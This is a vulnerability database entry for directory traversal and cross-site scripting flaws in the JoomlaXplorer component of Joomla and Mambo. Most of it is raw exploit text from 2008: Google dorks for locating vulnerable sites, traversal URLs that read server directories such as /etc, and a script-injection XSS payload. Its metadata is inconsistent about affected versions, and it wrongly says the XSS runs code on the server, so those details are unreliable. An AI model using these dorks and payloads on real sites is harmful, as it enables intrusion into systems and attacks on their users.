Joomla and Mambo Component joomlaxplorer

vendor:

JoomlaXplorer

by:

HouSSaMix

8.8

CVSS

HIGH

Local Directory Traversal and XSS

22, 79

CWE

Product Name: JoomlaXplorer

Affected Version From: 1.6.2000

Affected Version To: 1.6.2002

Patch Exists: Yes

Related CWE: N/A

CPE: a:joomlacode:joomlaxplorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla and Mambo Component joomlaxplorer

Joomla and Mambo Component joomlaxplorer versions 1.6.0 and below are vulnerable to Local Directory Traversal and XSS. An attacker can exploit this vulnerability by sending a crafted request to the target server with a malicious payload. This payload can be used to traverse the directory structure of the server and gain access to sensitive files. Additionally, an attacker can also inject malicious JavaScript code into the vulnerable parameter to execute arbitrary code on the target server.

Mitigation:

Upgrade to the latest version of Joomla and Mambo Component joomlaxplorer. Additionally, ensure that all user input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

-------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : HouSSaMix                          
= Script : Joomla and Mambo Component joomlaxplorer  
= version : 1.6.0
= Download : http://joomlacode.org/gf/project/joomlaxplorer

= Dork1 : inurl:index.php?option=com_joomlaxplorer
= Dork2 : powered by joomlaXplorer
          			           
							   
= BUG 1 :  Local Directory Traversal 

exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=../../[directory]

example :
  site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
  site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

= BUG 2 : XSS

exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=[XSS]
 
example : www.target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
       

= greetz :	V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers

side note:
    <name>joomlaXplorer</name>
    <creationDate>18.09.2007</creationDate>
    <author>soeren, QuiX Project</author>
    <copyright>Soeren Eberhardt-Biermann, QuiX Project</copyright>
    <authorEmail>soeren@virtuemart.net</authorEmail>

    <authorUrl>http://joomlacode.org/gf/project/joomlaxplorer/</authorUrl>
    <version>1.6.2</version>

# milw0rm.com [2008-04-11]